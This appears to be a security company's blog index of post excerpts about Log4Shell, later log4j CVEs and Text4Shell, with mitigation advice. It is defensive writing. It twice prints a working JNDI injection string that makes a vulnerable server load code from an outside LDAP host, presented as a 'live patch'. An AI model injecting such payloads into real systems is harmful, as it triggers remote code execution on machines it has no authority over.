Text4Shell is a vulnerability in the Java library Apache Commons Text. This vulnerability, in specific conditions, allows an attacker to execute arbitrary code on the victim's machine (Remote Code Execution or "RCE"). The vulnerability was discovered by Alvaro Muñoz (aka pwntester) and announced publicly on October 13th
Text4Shell was officially assigned the CVE-2022-42889 identifier.
TL;DR - The latest vulnerabilities found in Log4j 2.17.0 are much less serious than the hype would suggest.
Continue to patch your systems to at least Log4j 2.17.0 (Java 8) or 2.12.3 (Java 7).
Anyone on this train deserves a much-needed break.
After a DOS attack with limited impact was discovered
in 2.16.0 and log4j was updated to 2.17.0 to fix it, another
even less impactful vulnerability was discovered in
2.17.0. I wonder if we should say "vulnerability" in quotes because
this latest vulnerability requires an attacker to have access to the
logger configuration file, which is a very privileged and unlikely scenario. It's so minor, we have chosen not to
scan for it in our Log4shell scanning tool. We hope the focus will remain on fixing
the far more critical vulnerabilities in earlier versions.
In this post, we'll look at the motivations and repercussions of hyping up this far less serious attack vector. Then, we'll look at a timeline of the vulnerabilities discovered in log4j, ending with this latest vulnerability.
From the beginning of the log4shell issue, we have been delivering actionable advice and tools which can automatically find and fix Log4Shell. We were quick to see the seriousness of the vulnerability, and helped the community to coalesce into an organized remediation effort. From experience, we know that those responding to Log4Shell are in a stressful situation.
It's easy to imagine walking into a meeting and not being able to tell your boss if data has been leaked. Even worse, to not be able to say for sure if an attack has happened or not. While many are having these uncomfortable meetings about security, there has never been a better time to lobby for more attention to security and the installation of stronger defences.
We want to make it known that there are ways to protect data against attacks like Log4Shell. For the better part of a year, we've been building an Open Source framework to make it so these vulnerabilities, even full RCEs like Log4Shell, can't leak the sensitive data that attackers are really after. It feels more relevant now than ever.
Originally Posted @ December 12th & Last Updated @ December 19th, 3:37pm PST
Also read: Our analysis of CVE-2021-45046 (a second log4j vulnerability).
A few days ago, a serious new vulnerability was identified in Apache log4j v2 and published as CVE-2021-44228. We were one of the first security companies to write about it, and we named it "Log4Shell".
This guide will help you:
If you're just trying to understand the Log4Shell vulnerability and the impact of it, please refer to our earlier blog post.
Originally Posted @ December 14th & Last Updated @ December 19th, 3:37pm PST
Just trying to fix this? Please read our dedicated Mitigation Guide.
After the log4j maintainers released version 2.15.0 to address the
Log4Shell vulnerability, an additional attack vector
was identified and reported in CVE-2021-45046.
Our research into this shows that this new CVE invalidates previous mitigations used to protect versions
2.7.0 <= Apache log4j <= 2.14.1 from Log4Shell in some cases.
You may still be vulnerable to Log4Shell (RCE), if you only enabled the formatMsgNoLookups flag or set
%m{nolookups} when you also set data in the ThreadContext with attacker controlled data. In this case, you must
upgrade to >= 2.15.0, or else you will still be vulnerable to RCE.
2.15.0 Update There has been a limited RCE discovered in 2.15.0, and the severity has been upgraded
from 3.7 -> 9.0.
We found that the DOS outlined in the CVE was not actually impactful because it did not consume resources during our testing (see below).
Our reproduction could be incomplete however, so we continue to recommend that you upgrade to 2.17.0 in the event that a better
exploit is found to abuse this attack vector.
Originally Posted @ December 15th & Last Updated @ December 19th, 3:37pm PST
TL;DR: This string will temporarily fix your systems by patching them against Log4Shell, but please read the rest of this post before you use it! Update: We posted a follow-up post with a technical deep-dive into how this exploit works.
${jndi:ldap://patch.log4shell.com:1389/a}
If you're looking for resources on how to detect and patch yourself against Log4Shell, please also read our in-depth Mitigation Guide.
Mitigating a vulnerability in a single dependency used by your project typically requires a lot of work:
Additionally, a vulnerability in a logging framework, especially one as prolific as log4j, is often not a single vulnerability in a single dependency. Mitigating Log4Shell isn't just a matter of updating your code, but also requires updating all of your dependencies that are also using log4j.
Now repeat that 50+ times for every service you own. Welcome to Log4Shell!
The worldwide scramble to fix the Log4Shell vulnerability has resulted in a number of paths to resolution without a single trusted, clear, and concise recommendation. Ever since our initial report on the Log4Shell vulnerability, we have made countless updates to our posts over the past week as more information has been uncovered and new vulnerabilities are found. Ideally, the narrative would be much clearer for a library which is so widely used.
We feel that the chaos which has followed the initial report of the Log4Shell vulnerability started with how the public patching of Log4j was handled on GitHub. This is a step-by-step guide for Open Source maintainers on how to handle the security patching process properly, using the Log4Shell incident as a retrospective.
The other day we published a Log4Shell payload that, when used to exploit a server, would patch the server against future exploitation from Log4Shell. You can read through our post explaining why we built it here.
It looks like this:
${jndi:ldap://patch.log4shell.com:1389/a}
In this post, we're going to dissect what's going on with this live patch to explain how it works. If you're curious to dig into this more, you can view the code on GitHub too.
Originally Posted @ December 9th & Last Updated @
Fixing Log4Shell? Claim a free vulnerability scan on our dedicated security platform and generate a detailed report in minutes.
On Thursday, December 9th a 0-day exploit in the popular Java logging library log4j (version 2), called Log4Shell, was discovered that results in Remote Code Execution (RCE) simply by logging a certain string.
Given how ubiquitous this library is, the severity of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.
The 0-day was tweeted along with a POC posted on GitHub. While we had initially given it the name "Log4Shell", the vulnerability has now been published as CVE-2021-44228 on NVD.
This post provides resources to help you understand the vulnerability and how to mitigate it.
In this series, I'm going to work through my thought process about Open Source businesses and walk you through the steps I followed while building LunaSec. In comparison to traditional business models, Open Source businesses can be non-trivial, non-obvious, and daunting to undertake.
